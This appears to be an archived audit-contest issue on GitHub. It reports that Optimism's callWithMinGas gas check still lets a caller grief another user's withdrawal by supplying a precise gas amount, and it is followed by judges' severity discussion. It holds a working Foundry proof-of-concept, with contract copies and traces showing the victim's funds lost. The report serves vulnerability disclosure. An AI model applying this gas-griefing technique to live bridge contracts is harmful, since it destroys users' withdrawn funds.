Skip to content
This repository has been archived by the owner on Oct 8, 2023. It is now read-only.

ShadowForce - Malicious user can finalize other’s withdrawal with precise amount of gas, leading to loss of funds even after the fix #37

Closed
sherlock-admin opened this issue Apr 7, 2023 · 9 comments
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Escalation Resolved This issue's escalations have been approved/rejected High A valid High severity issue Reward A payout will be made for this issue Sponsor Disputed The sponsor disputed this issue's validity

Comments

@sherlock-admin
Copy link
Contributor

sherlock-admin commented Apr 7, 2023

ShadowForce

high

Malicious user can finalize other’s withdrawal with precise amount of gas, leading to loss of funds even after the fix

Summary

Malicious user can finalize other’s withdrawal with precise amount of gas, leading to loss of funds even after the fix

Vulnerability Detail

In the previous contest, we observed an exploit very similar to this one found by zachobront and trust. In this current, contest the team has employed some fixes to try to mitigate the risk outlined by the previous issue.

The way the protocol tried to achieve this was by removing the gas buffer and instead implement this assertion below:
Assertion: gasleft() >= ((_minGas + 200) * 64) / 63

The protocol did this in the callWithMinGas() function by implementing the assertion's logic using assembly. we can observe that below.

    function callWithMinGas(
        address _target,
        uint256 _minGas,
        uint256 _value,
        bytes memory _calldata
    ) internal returns (bool) {
        bool _success;
        assembly {
            // Assertion: gasleft() >= ((_minGas + 200) * 64) / 63
            //
            // Because EIP-150 ensures that, a maximum of 63/64ths of the remaining gas in the call
            // frame may be passed to a subcontext, we need to ensure that the gas will not be
            // truncated to hold this function's invariant: "If a call is performed by
            // `callWithMinGas`, it must receive at least the specified minimum gas limit." In
            // addition, exactly 51 gas is consumed between the below `GAS` opcode and the `CALL`
            // opcode, so it is factored in with some extra room for error.
            if lt(gas(), div(mul(64, add(_minGas, 200)), 63)) {
                // Store the "Error(string)" selector in scratch space.
                mstore(0, 0x08c379a0)
                // Store the pointer to the string length in scratch space.
                mstore(32, 32)
                // Store the string.
                //
                // SAFETY:
                // - We pad the beginning of the string with two zero bytes as well as the
                // length (24) to ensure that we override the free memory pointer at offset
                // 0x40. This is necessary because the free memory pointer is likely to
                // be greater than 1 byte when this function is called, but it is incredibly
                // unlikely that it will be greater than 3 bytes. As for the data within
                // 0x60, it is ensured that it is 0 due to 0x60 being the zero offset.
                // - It's fine to clobber the free memory pointer, we're reverting.
                mstore(88, 0x0000185361666543616c6c3a204e6f7420656e6f75676820676173)

                // Revert with 'Error("SafeCall: Not enough gas")'
                revert(28, 100)
            }

            // The call will be supplied at least (((_minGas + 200) * 64) / 63) - 49 gas due to the
            // above assertion. This ensures that, in all circumstances, the call will
            // receive at least the minimum amount of gas specified.
            // We can prove this property by solving the inequalities:
            // ((((_minGas + 200) * 64) / 63) - 49) >= _minGas
            // ((((_minGas + 200) * 64) / 63) - 51) * (63 / 64) >= _minGas
            // Both inequalities hold true for all possible values of `_minGas`.
            _success := call(
                gas(), // gas
                _target, // recipient
                _value, // ether value
                add(_calldata, 32), // inloc
                mload(_calldata), // inlen
                0x00, // outloc
                0x00 // outlen
            )
        }
        return _success;
    }
}

This addition was not sufficient to mitigate the risk. A malicious user can still use a specific amount of gas on finalizeWithdrawalTransaction to cause a Loss Of Funds for another user.

According the PR comments, the protocol intended to reserve at least 20000 wei gas buffer, but the implementation only reserve 200 wei of gas.

if lt(gas(), div(mul(64, add(_minGas, 200)), 63)) {

optimismFixProof
ethereum-optimism/optimism#4954

Impact

Malicious user can finalize another user's withdrawal with a precise amount of gas to ultimately grief the user's withdrawal and lose his funds completely.

Code Snippet

https://github.com/ethereum-optimism/optimism/blob/4ea4202510b6247c36aedda4acc2057826df784e/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L388-L413

https://github.com/ethereum-optimism/optimism/blob/4ea4202510b6247c36aedda4acc2057826df784e/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L291-L384

Proof Of Concept

below is a foundry test that demonstrates how a malicious user can still specify a gas that can pass checks but also reverts which will cause a user's funds to be stuck

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/Exploit.sol";
import "../src/RelayMessagerReentrancy.sol";
import "../src/Portal.sol";
import "forge-std/console.sol";

contract CounterTest is Test {

    RelayMessagerReentrancy messager = new RelayMessagerReentrancy(address(this));
    Exploit exploit = new Exploit(address(messager));
    Portal portal = new Portal(address(messager));

    uint256 nonce = 1;
    address sender = address(this);
    address target = address(exploit);
    uint256 value = 0;
    uint256 minGasLimit = 100000000 wei;

    function createMessage() public returns (bytes memory) {

        bytes memory message = abi.encodeWithSelector(
            Exploit.call.selector,
            messager,
            3,
            sender,
            target,
            0,
            minGasLimit
        );

        return message;

    }

    function setUp() public {

    }

    function testHasEnoughGas() public {

        address bob = address(1231231243);

        console.log("bob's balance before");
        console.log(bob.balance);

        uint256 minGasLimit = 30000 wei;

        address sender = address(this);

        address target = bob;

        bytes memory message = abi.encodeWithSelector(
            '0x',
            messager,
            4,
            sender,
            target,
            1 ether,
            minGasLimit
        );

        bytes memory messageRelayer = abi.encodeWithSelector(
            RelayMessagerReentrancy.relayMessage.selector,
            4,
            sender,
            target,
            1 ether,
            minGasLimit,
            message   
        );

        portal.finalizeWithdraw{value: 1 ether, gas: 200000 wei}(minGasLimit, 1 ether, messageRelayer);

        console.log("bob's balance after the function call");
        console.log(bob.balance);

    }



    function testOutOfGas() public {

        address bob = address(1231231243);

        console.log("bob's balance before");
        console.log(bob.balance);

        uint256 minGasLimit = 30000 wei;

        address sender = address(this);

        address target = bob;

        bytes memory message = abi.encodeWithSelector(
            '0x',
            messager,
            4,
            sender,
            target,
            1 ether,
            minGasLimit
        );

        bytes memory messageRelayer = abi.encodeWithSelector(
            RelayMessagerReentrancy.relayMessage.selector,
            4,
            sender,
            target,
            1 ether,
            minGasLimit,
            message   
        );

        portal.finalizeWithdraw{value: 1 ether, gas: 110000 wei}(minGasLimit, 1 ether, messageRelayer);

        console.log("bob's balance after the function call");
        console.log(bob.balance);

    }

}

when running the test the outcome is as follows

Running 2 tests for test/RelayMessagerReentrancy.t..sol:CounterTest
[PASS] testHasEnoughGas() (gas: 130651)
Logs:
  bob's balance before
  0
  gas left after externall call
  100196
  gas needed after external call
  25038
  success after finalize withdraw????
  true
  bob's balance after the function call
  1000000000000000000

[PASS] testOutOfGas() (gas: 136001)
Logs:
  bob's balance before
  0
  gas left after externall call
  11603
  success after finalize withdraw????
  false
  bob's balance after the function call
  0

Test result: ok. 2 passed; 0 failed; finished in 1.58ms

As you can see in the first test, when supplying enough gas for the external call, the test passes and bobs balance is changed to reflect the withdraw.

On the contrary, the second test which does not have sufficient gas for the external call. The test passes but bob's balance is never updated. This clearly shows that bob's funds are lost.

some things to note from the test:

  1. Approximately 25,000 wei of gas is needed after the external call.
  2. the 2nd test only had 11,603 gas remaining so the function reverts silently
  3. Malicious user can take advantage of this and ensure the gas remaining after the external call
 bool success = SafeCall.callWithMinGas(_target, _minGasLimit, _value, _message);

In RelayMessenge, is less than 25,000 wei in order to grief another user's withdrawal causing his funds to be permanently lost

the 25000 wei gas is the approximate amount of gas needed to complete the code execution clean up in RelayMessenge function call. (we use the word approximate because console.log also consumes some gas)

uint256 glBefore = gasleft();

console.log("gas left after externall call");
console.log(glBefore);

xDomainMsgSender = DEFAULT_L2_SENDER;

if (success) {
    successfulMessages[versionedHash] = true;
    emit RelayedMessage(versionedHash);
} else {
    failedMessages[versionedHash] = true;
    emit FailedRelayedMessage(versionedHash);

     if (tx.origin == ESTIMATION_ADDRESS) {
        revert("CrossDomainMessenger: failed to relay message");
    }
}

// Clear the reentrancy lock for `versionedHash`
reentrancyLocks[versionedHash] = false;

uint256 glAfter = gasleft();

console.log("gas needed after external call");
console.log(glBefore - glAfter);

below are the imports used to help us run this test.
RelayMessagerReentrancy.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "forge-std/console.sol";

/**
 * @title SafeCall
 * @notice Perform low level safe calls
 */
library SafeCall {
    /**
     * @notice Perform a low level call without copying any returndata
     *
     * @param _target   Address to call
     * @param _gas      Amount of gas to pass to the call
     * @param _value    Amount of value to pass to the call
     * @param _calldata Calldata to pass to the call
     */
    function call(
        address _target,
        uint256 _gas,
        uint256 _value,
        bytes memory _calldata
    ) internal returns (bool) {
        bool _success;
        assembly {
            _success := call(
                _gas, // gas
                _target, // recipient
                _value, // ether value
                add(_calldata, 32), // inloc
                mload(_calldata), // inlen
                0, // outloc
                0 // outlen
            )
        }
        return _success;
    }

    /**
     * @notice Perform a low level call without copying any returndata. This function
     *         will revert if the call cannot be performed with the specified minimum
     *         gas.
     *
     * @param _target   Address to call
     * @param _minGas   The minimum amount of gas that may be passed to the call
     * @param _value    Amount of value to pass to the call
     * @param _calldata Calldata to pass to the call
     */
    function callWithMinGas(
        address _target,
        uint256 _minGas,
        uint256 _value,
        bytes memory _calldata
    ) internal returns (bool) {
        bool _success;
        assembly {
            // Assertion: gasleft() >= ((_minGas + 200) * 64) / 63
            //
            // Because EIP-150 ensures that, a maximum of 63/64ths of the remaining gas in the call
            // frame may be passed to a subcontext, we need to ensure that the gas will not be
            // truncated to hold this function's invariant: "If a call is performed by
            // `callWithMinGas`, it must receive at least the specified minimum gas limit." In
            // addition, exactly 51 gas is consumed between the below `GAS` opcode and the `CALL`
            // opcode, so it is factored in with some extra room for error.
            if lt(gas(), div(mul(64, add(_minGas, 200)), 63)) {
                // Store the "Error(string)" selector in scratch space.
                mstore(0, 0x08c379a0)
                // Store the pointer to the string length in scratch space.
                mstore(32, 32)
                // Store the string.
                //
                // SAFETY:
                // - We pad the beginning of the string with two zero bytes as well as the
                // length (24) to ensure that we override the free memory pointer at offset
                // 0x40. This is necessary because the free memory pointer is likely to
                // be greater than 1 byte when this function is called, but it is incredibly
                // unlikely that it will be greater than 3 bytes. As for the data within
                // 0x60, it is ensured that it is 0 due to 0x60 being the zero offset.
                // - It's fine to clobber the free memory pointer, we're reverting.
                mstore(88, 0x0000185361666543616c6c3a204e6f7420656e6f75676820676173)

                // Revert with 'Error("SafeCall: Not enough gas")'
                revert(28, 100)
            }

            // The call will be supplied at least (((_minGas + 200) * 64) / 63) - 49 gas due to the
            // above assertion. This ensures that, in all circumstances, the call will
            // receive at least the minimum amount of gas specified.
            // We can prove this property by solving the inequalities:
            // ((((_minGas + 200) * 64) / 63) - 49) >= _minGas
            // ((((_minGas + 200) * 64) / 63) - 51) * (63 / 64) >= _minGas
            // Both inequalities hold true for all possible values of `_minGas`.
            _success := call(
                gas(), // gas
                _target, // recipient
                _value, // ether value
                add(_calldata, 32), // inloc
                mload(_calldata), // inlen
                0x00, // outloc
                0x00 // outlen
            )
        }
        return _success;
    }
}


contract RelayMessagerReentrancy {

    mapping(bytes32 => bool) failedMessages;

    mapping(bytes32 => bool) successfulMessages;

    mapping(bytes32 => bool) reentrancyLocks;

    address DEFAULT_L2_SENDER = address(1000);
    address ESTIMATION_ADDRESS = address(2000);

    address xDomainMsgSender;

    /**
     * @notice Emitted whenever a message is successfully relayed on this chain.
     *
     * @param msgHash Hash of the message that was relayed.
     */
    event RelayedMessage(bytes32 indexed msgHash);

    /**
     * @notice Emitted whenever a message fails to be relayed on this chain.
     *
     * @param msgHash Hash of the message that failed to be relayed.
     */
    event FailedRelayedMessage(bytes32 indexed msgHash);

    address public otherContract;

    constructor(address _otherContract) {
        otherContract = _otherContract;
    }

    function _isOtherMessenger() internal view returns (bool) {
        // return msg.sender == otherContract;
        return true;
    }

     /**
     * @notice Encodes a cross domain message based on the V0 (legacy) encoding.
     *
     * @param _target Address of the target of the message.
     * @param _sender Address of the sender of the message.
     * @param _data   Data to send with the message.
     * @param _nonce  Message nonce.
     *
     * @return Encoded cross domain message.
     */
    function encodeCrossDomainMessageV0(
        address _target,
        address _sender,
        bytes memory _data,
        uint256 _nonce
    ) internal pure returns (bytes memory) {
        return
            abi.encodeWithSignature(
                "relayMessage(address,address,bytes,uint256)",
                _target,
                _sender,
                _data,
                _nonce
            );
    }

    /**
     * @notice Encodes a cross domain message based on the V1 (current) encoding.
     *
     * @param _nonce    Message nonce.
     * @param _sender   Address of the sender of the message.
     * @param _target   Address of the target of the message.
     * @param _value    ETH value to send to the target.
     * @param _gasLimit Gas limit to use for the message.
     * @param _data     Data to send with the message.
     *
     * @return Encoded cross domain message.
     */
    function encodeCrossDomainMessageV1(
        uint256 _nonce,
        address _sender,
        address _target,
        uint256 _value,
        uint256 _gasLimit,
        bytes memory _data
    ) internal pure returns (bytes memory) {
        return
            abi.encodeWithSignature(
                "relayMessage(uint256,address,address,uint256,uint256,bytes)",
                _nonce,
                _sender,
                _target,
                _value,
                _gasLimit,
                _data
            );
    }


    function hashCrossDomainMessageV0(
        address _target,
        address _sender,
        bytes memory _data,
        uint256 _nonce
    ) internal pure returns (bytes32) {
        return keccak256(encodeCrossDomainMessageV0(_target, _sender, _data, _nonce));
    }

    function hashCrossDomainMessageV1(
        uint256 _nonce,
        address _sender,
        address _target,
        uint256 _value,
        uint256 _gasLimit,
        bytes memory _data
    ) internal pure returns (bytes32) {
        return
            keccak256(
                encodeCrossDomainMessageV1(
                    _nonce,
                    _sender,
                    _target,
                    _value,
                    _gasLimit,
                    _data
                )
            );
    }

    function relayMessage(
        uint256 _nonce,
        address _sender,
        address _target,
        uint256 _value,
        uint256 _minGasLimit,
        bytes calldata _message
    ) external payable {

        uint256 version = 0;

        if( _nonce > 10) {
            version = 1;
        }

        require(
            version < 2,
            "CrossDomainMessenger: only version 0 or 1 messages are supported at this time"
        );

        // If the message is version 0, then it's a migrated legacy withdrawal. We therefore need
        // to check that the legacy version of the message has not already been relayed.

        bytes32 oldHash = hashCrossDomainMessageV0(_target, _sender, _message, _nonce);

        if (version == 0) {
            require(
                successfulMessages[oldHash] == false,
                "CrossDomainMessenger: legacy withdrawal already relayed"
            );
        }

        bytes32 versionedHash = hashCrossDomainMessageV1(
            _nonce,
            _sender,
            _target,
            _value,
            _minGasLimit,
            _message
        );

         // Check if the reentrancy lock for the `versionedHash` is already set.
        if (reentrancyLocks[versionedHash]) {
            revert("ReentrancyGuard: reentrant call");
        }
        // Trigger the reentrancy lock for `versionedHash`
        reentrancyLocks[versionedHash] = true;

        if (_isOtherMessenger()) {
            // These properties should always hold when the message is first submitted (as
            // opposed to being replayed).
            assert(msg.value == _value);
            assert(!failedMessages[versionedHash]);
        } else {
            require(
                msg.value == 0,
                "CrossDomainMessenger: value must be zero unless message is from a system address"
            );
            require(
                failedMessages[versionedHash],
                "CrossDomainMessenger: message cannot be replayed"
            );
        }

        require(
            successfulMessages[versionedHash] == false,
            "CrossDomainMessenger: message has already been relayed"
        );

        xDomainMsgSender = _sender;
    
        bool success = SafeCall.callWithMinGas(_target, _minGasLimit, _value, _message);

        uint256 glBefore = gasleft();

        console.log("gas left after externall call");
        console.log(glBefore);

        xDomainMsgSender = DEFAULT_L2_SENDER;

        if (success) {
            successfulMessages[versionedHash] = true;
            emit RelayedMessage(versionedHash);
        } else {
            failedMessages[versionedHash] = true;
            emit FailedRelayedMessage(versionedHash);

             if (tx.origin == ESTIMATION_ADDRESS) {
                revert("CrossDomainMessenger: failed to relay message");
            }
        }

        // Clear the reentrancy lock for `versionedHash`
        reentrancyLocks[versionedHash] = false;

        uint256 glAfter = gasleft();

        console.log("gas needed after external call");
        console.log(glBefore - glAfter);

    }
    

}

portal.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "forge-std/console.sol";

import "./RelayMessagerReentrancy.sol";

contract Portal {

    address messenger;

    constructor(address _messenger) {
        messenger = _messenger;
    }

    function finalizeWithdraw(uint256 minGas, uint256 value, bytes memory data) public payable {

        bool success = SafeCall.callWithMinGas(
            messenger, 
            minGas, 
            value, 
            data
        );

        console.log("success after finalize withdraw????");
        console.log(success);
    }   

}

Below is a link to download a file containing the test and all associated files which you can use to replicate the test we have conducted above:
https://drive.google.com/file/d/1Zpc7ue0LwWatOWjFH30r8RCtbY4nej2w/view?usp=share_link

Tool used

Manual Review

Recommendation

we recommend to add gas buffer back, change at least gas buffer from 200 to 20K or even higher gas buffer.

Duplicate of #40

@github-actions github-actions bot added the Excluded Excluded by the judge without consulting the protocol or the senior label Apr 10, 2023
@github-actions github-actions bot reopened this Apr 10, 2023
@github-actions github-actions bot added High A valid High severity issue and removed Excluded Excluded by the judge without consulting the protocol or the senior labels Apr 10, 2023
@GalloDaSballo
Copy link
Collaborator

I think this is slightly different, but is basically dup of #40

@hrishibhat
Copy link
Contributor

Sponsor comment:
Tentatively marking this issue as false. The reporter is working off of outdated information (the PR description that the reporter reference was not the final implementation spec), though that may have not been entirely clear based off of the comments in the PR. In addition, the POC that was presented does not use the canonical set of contracts. The reporter is welcome to escalate this issue if they are able to replicate the issue on the canonical version of contracts-bedrock.

@hrishibhat hrishibhat added the Sponsor Disputed The sponsor disputed this issue's validity label Apr 16, 2023
@sherlock-audit sherlock-audit deleted a comment from Jiaren-tang Apr 17, 2023
@GalloDaSballo
Copy link
Collaborator

Because we know that #40 is valid, as it will not account for the cost of CALL, I believe the finding to be valid

If the sponsor wishes to downgrade this due to POC, we could leave as Med, and the Watson can Escalate to have it re-evaluated as High (dup or #40)

@GalloDaSballo
Copy link
Collaborator

GalloDaSballo commented Apr 18, 2023

Recommend:
Downgrade to Med
Make this Primary
Make #7 dup of this

@GalloDaSballo GalloDaSballo added Medium A valid Medium severity issue and removed High A valid High severity issue labels Apr 20, 2023
@GalloDaSballo
Copy link
Collaborator

Partially following Sponsor advice, I believe the Watson showed the problem although has articulated in a less correct way

As such am downgrading to Unique Med

@sherlock-admin sherlock-admin added the Reward A payout will be made for this issue label Apr 23, 2023
@ArnieSec
Copy link

Escalate for 10 USDC.

First of thanks Alex for judging this

I think #40

report mathmatically prove that how finalizeWithdraw still can bricked with insufficient gas amount.

While this report wrote a POC to show how finalizeWithdrawal can be bricked.

I want to escalate for this submission and argue that the severity is high.

In fact you can see that the POC and the explanation also conform to another high

#93

See our POC running result:

Running 2 tests for test/RelayMessagerReentrancy.t..sol:CounterTest
[PASS] testHasEnoughGas() (gas: 130651)
Logs:
  bob's balance before
  0
  gas left after externall call
  100196
  gas needed after external call
  25038
  success after finalize withdraw????
  true
  bob's balance after the function call
  1000000000000000000

[PASS] testOutOfGas() (gas: 136001)
Logs:
  bob's balance before
  0
  gas left after externall call
  11603
  success after finalize withdraw????
  false
  bob's balance after the function call
  0

Test result: ok. 2 passed; 0 failed; finished in 1.58ms

as we can see, in the first successful call the gas needed after the external call

 bool success = SafeCall.callWithMinGas(_target, _minGasLimit, _value, _message);

is

  gas needed after external call
  25038
  success after finalize withdraw????
  true

while in the second running test case

  gas left after externall call
  11603
  success after finalize withdraw????
  false

As the original report stated:

some things to note from the test:

Approximately 25,000 wei of gas is needed after the external call.
the 2nd test only had 11,603 gas remaining so the function reverts silently
Malicious user can take advantage of this and ensure the gas remaining after the external call

 bool success = SafeCall.callWithMinGas(_target, _minGasLimit, _value, _message);

In RelayMessenge, is less than 25,000 wei in order to grief another user's withdrawal causing his funds to be permanently lost

the 25000 wei gas is the approximate amount of gas needed to complete the code execution clean up in RelayMessenge function call. (we use the word approximate because console.log also consumes some gas)

basically attacker can make the underlying call sliently revert with out of gas error

the above is the report of our wording while the report from respected auditor obront and trust put it in their way:

#93

If the call uses up all of the avaialble gas (succeeding or reverting), we are left with 158,998 * 1/64 = 2,484 for the remaining execution

The remaining execution includes multiple SSTOREs which totals 23,823 gas, resulting in an OutOfGas revert

In fact, if the call uses any amount greater than 135,175, we will have less than 23,823 gas remaining and will revert

As a result, none of the updates to L1CrossDomainMessenger occur, and the transaction is not marked in failedMessages for replayability

However, the remaining 3174 gas is sufficient to complete the transction on the OptimismPortal, which sets finalizedWithdrawals[hash] = true and locks the withdrawals from ever being made again

note the remaining gas they dervied is 23,823 gas, ours is appromiately 25000 wei (due to console.log)

See the impact of report 93

Any migrated withdrawal that uses more than 135,175 gas will be bricked if insufficient gas is sent. This could be done by a malicious attacker bricking thousands of pending withdrawals or, more likely, could happen to users who accidentally executed their withdrawal with too little gas and ended up losing it permanently.

this is exactly our POC and report shows!

could happen to users who accidentally executed their withdrawal with too little gas and ended up losing it permanently

or malicious actor intention use too little gas to permanently lock user fund.

and the POC and the report does make sure the function call is the same as the bridge call in canonical version of the bedrock contract.

because in the bridge call, L2 is calling init withdraw, then L1 call finalizeWithdraw -> call relayMessager

which is exactly the call order in the report / POC

	bytes memory message = abi.encodeWithSelector(
		'0x',
		messager,
		4,
		sender,
		target,
		1 ether,
		minGasLimit
	);

	bytes memory messageRelayer = abi.encodeWithSelector(
		RelayMessagerReentrancy.relayMessage.selector,
		4,
		sender,
		target,
		1 ether,
		minGasLimit,
		message   
	);

	portal.finalizeWithdraw{value: 1 ether, gas: 110000 wei}(minGasLimit, 1 ether, messageRelayer);

	console.log("bob's balance after the function call");
	console.log(bob.balance);

first we can composing the message calldata to call relayMessanger, then construct message calldata to call portal (in L1), the call order is

L1 Portal # finalizeWithdraw -> L1 RelayMessenge.

I implore the review / judge to git clone the POC repo and run it.

https://github.com/Jiaren-tang/poc-for-bedrock-update-contest (I will remove this POC after the escalation has been resolved.)

If we run with

forge test -vv

the output is

Running 2 tests for test/Counter.t.sol:CounterTest
[PASS] testHasEnoughGas() (gas: 131483)
Logs:
  bob's balance before
  0
  0x2e1a7d4d
  0x00735de6
  gas left after externall call
  99377
  gas needed after external call
  25038
  success after finalize withdraw????
  true
  bob's balance after the function call
  1000000000000000000

[PASS] testOutOfGas() (gas: 136014)
Logs:
  bob's balance before
  0
  0x2e1a7d4d
  0x00735de6
  gas left after externall call
  10784
  success after finalize withdraw????
  false
  bob's balance after the function call
  0

Test result: ok. 2 passed; 0 failed; finished in 1.60ms

if we run with

forge test -vvvv

to show transaction trace, we see there is a out of gas error!!!

Running 2 tests for test/Counter.t.sol:CounterTest
[PASS] testHasEnoughGas() (gas: 131483)
Logs:
  bob's balance before
  0
  0x2e1a7d4d
  0x00735de6
  gas left after externall call
  99377
  gas needed after external call
  25038
  success after finalize withdraw????
  true
  bob's balance after the function call
  1000000000000000000

Traces:
  [131483] CounterTest::testHasEnoughGas() 
    ├─ [0] console::log(bob's balance before) [staticcall]
    │   └─ ← ()
    ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [107335] Portal::finalizeWithdraw{value: 1000000000000000000}(30000, 1000000000000000000, 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000c4307800000000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000)
    │   ├─ [0] console::e05f48d1(2e1a7d4d00000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::e05f48d1(00735de600000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← ()
    │   ├─ [93268] RelayMessagerReentrancy::relayMessage{value: 1000000000000000000}(4, CounterTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x000000000000000000000000000000004963190b, 1000000000000000000, 30000, 0x307800000000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000007530)
    │   │   ├─ [0] 0x000000000000000000000000000000004963190b::30780000{value: 1000000000000000000}(0000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000007530)
    │   │   │   └─ ← ()
    │   │   ├─ [0] console::log(gas left after externall call) [staticcall]
    │   │   │   └─ ← ()
    │   │   ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000018431) [staticcall]
    │   │   │   └─ ← ()
    │   │   ├─ emit RelayedMessage(msgHash: 0x312a0f88f8c395812d1b16d7fbd916cc2f0140f71f339559d474344102ae2546)
    │   │   ├─ [0] console::log(gas needed after external call) [staticcall]
    │   │   │   └─ ← ()
    │   │   ├─ [0] console::f5b1bba9(00000000000000000000000000000000000000000000000000000000000061ce) [staticcall]
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   ├─ [0] console::log(success after finalize withdraw????) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::log(true) [staticcall]
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] console::log(bob's balance after the function call) [staticcall]
    │   └─ ← ()
    ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000de0b6b3a7640000) [staticcall]
    │   └─ ← ()
    └─ ← ()

[PASS] testOutOfGas() (gas: 136014)
Logs:
  bob's balance before
  0
  0x2e1a7d4d
  0x00735de6
  gas left after externall call
  10784
  success after finalize withdraw????
  false
  bob's balance after the function call
  0

Traces:
  [136014] CounterTest::testOutOfGas()
    ├─ [0] console::log(bob's balance before) [staticcall]
    │   └─ ← ()
    ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [111867] Portal::finalizeWithdraw{value: 1000000000000000000}(30000, 1000000000000000000, 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000c4307800000000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000)
    │   ├─ [0] console::e05f48d1(2e1a7d4d00000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::e05f48d1(00735de600000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← ()
    │   ├─ [90616] RelayMessagerReentrancy::relayMessage{value: 1000000000000000000}(4, CounterTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x000000000000000000000000000000004963190b, 1000000000000000000, 30000, 0x307800000000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000007530)
    │   │   ├─ [0] 0x000000000000000000000000000000004963190b::30780000{value: 1000000000000000000}(0000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f00000000000000000000000000000000000000000000000000000000000000040000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000000000000000004963190b0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000007530)
    │   │   │   └─ ← ()
    │   │   ├─ [0] console::log(gas left after externall call) [staticcall]
    │   │   │   └─ ← ()
    │   │   ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000002a20) [staticcall]
    │   │   │   └─ ← ()
    │   │   └─ ← "EvmError: OutOfGas"
    │   ├─ [0] console::log(success after finalize withdraw????) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::log(false) [staticcall]
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] console::log(bob's balance after the function call) [staticcall]
    │   └─ ← ()
    ├─ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    └─ ← ()

Test result: ok. 2 passed; 0 failed; finished in 1.63ms

(The POC code is the same! I just upload it to github so the reivew can easily clone and run)

Again in conclusion this report help show what the impact of #93 is saying

This could be done by a malicious attacker bricking thousands of pending withdrawals or, more likely, could happen to users who accidentally executed their withdrawal with too little gas and ended up losing it permanently.

and

also help show will not account for the cost of CALL and lock user fund as Alex point it!

the impact is severe and does result in loss of fund, according to sherlock judge's guideline:

this report deserves a high severity rating.

High: This vulnerability would result in a material loss of funds, and the cost of the attack is low (relative to the amount of funds lost). The attack path is possible with reasonable assumptions that mimic on-chain conditions. The vulnerability must be something that is not considered an acceptable risk by a reasonable protocol team.

Thanks!

@sherlock-admin
Copy link
Contributor Author

Escalate for 10 USDC.

First of thanks Alex for judging this

I think #40

report mathmatically prove that how finalizeWithdraw still can bricked with insufficient gas amount.

While this report wrote a POC to show how finalizeWithdrawal can be bricked.

I want to escalate for this submission and argue that the severity is high.

In fact you can see that the POC and the explanation also conform to another high

#93

See our POC running result:

Running 2 tests for test/RelayMessagerReentrancy.t..sol:CounterTest
[PASS] testHasEnoughGas() (gas: 130651)
Logs:
  bob's balance before
  0
  gas left after externall call
